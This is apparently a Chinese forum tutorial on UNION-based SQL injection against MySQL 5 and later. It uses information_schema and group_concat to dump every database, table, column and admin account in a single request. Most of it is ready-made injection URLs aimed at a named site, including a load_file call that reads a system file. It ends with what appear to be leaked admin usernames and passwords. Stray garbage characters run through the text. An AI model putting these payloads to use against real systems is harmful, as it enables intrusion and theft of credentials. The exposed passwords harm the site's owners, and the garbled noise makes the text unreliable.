此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
" X7 B5 B. i$ w3 f( I, H但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
0 w4 w& a; B0 o' Y6 o- Z: U
* Z9 I# X0 f2 x. d( f" W8 Z7 _1 ~7 {" `! @4 d# Z
优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
7 L7 m7 q) P' O3 w. l3 U' @: B" M z4 N
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
; V, I k3 R7 p d% T$ L: V
+ R* j! g9 ~6 q- J下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示1 U3 \5 v: t( n [) R
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等) N# v2 r. k" N& r, Y+ F0 F
( w9 |: h! L6 G1 h$ Y+ G+ @( E9 ihttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,178 r; _+ G0 n2 ]% z
3 r! h# p b# q- [+ S+ ?4 k读出所有库:/ i+ Q$ L' ?, s% a- @
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA: `8 m5 r- P+ K5 T
' P6 W& F9 D5 v" u t0 E4 }
5 I2 j- D) Z7 _, l9 P- n) ~# k* X' E- H
读出所有表:
4 r5 z: ^5 [" F4 b+ w8 `http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()! T7 ] O# U# J! \2 z; u0 x; Q0 w
) C, Q+ p: U- V) E" B
读出所有表字段:; Q1 Z8 A: R1 S
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
6 K1 t( e' ]6 |4 h. K3 `2 ]' J*/ (97,100,109,105,110)为admin的ascii码 依次类推
1 `5 R. `7 G! u3 f9 ]- w5 w4 }# f( k' ^3 C5 m0 X; H o
读出所有表字段里的内容:8 [) E# Y( C9 S, D
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
) k8 Y7 C" z2 t# Z7 I$ V6 y% f5 N5 L7 |7 q# _8 x D! x2 U P- a
9 r! ~$ M% f& M# l+ @0 {
4 W- e1 E6 z( |' ^# |; Z" z' K, G% y2 ^3 k- m2 t3 q( ^6 i2 B+ D* }
* v F% G. A n# @9 j
2 e& x- v/ K# A; w5 ~2 n
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23$ k# B# K$ G/ C X
' X8 H1 }7 P J7 Q: x
/ e* G: U: l9 i, Z
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
9 k, w" G. S L `: N1 }) d2 b/ j( g% m! o& c3 L+ F
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
2 o4 o+ F; V- Y, ~
9 D9 N6 Z) Q& I( ^7 g4 D. K: M
: `- F6 F( g; Z7 Nhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
8 k9 I4 C# `/ R# C% f* W( o
; }$ ^) f- v8 v" k# G* X3 ^0 r# W4 n% p. k6 U" ?8 r, h' ~
webmaster:dzb521123,simlab:simadmin200432334 G/ ` x' _; W& M9 J$ {4 V$ c
|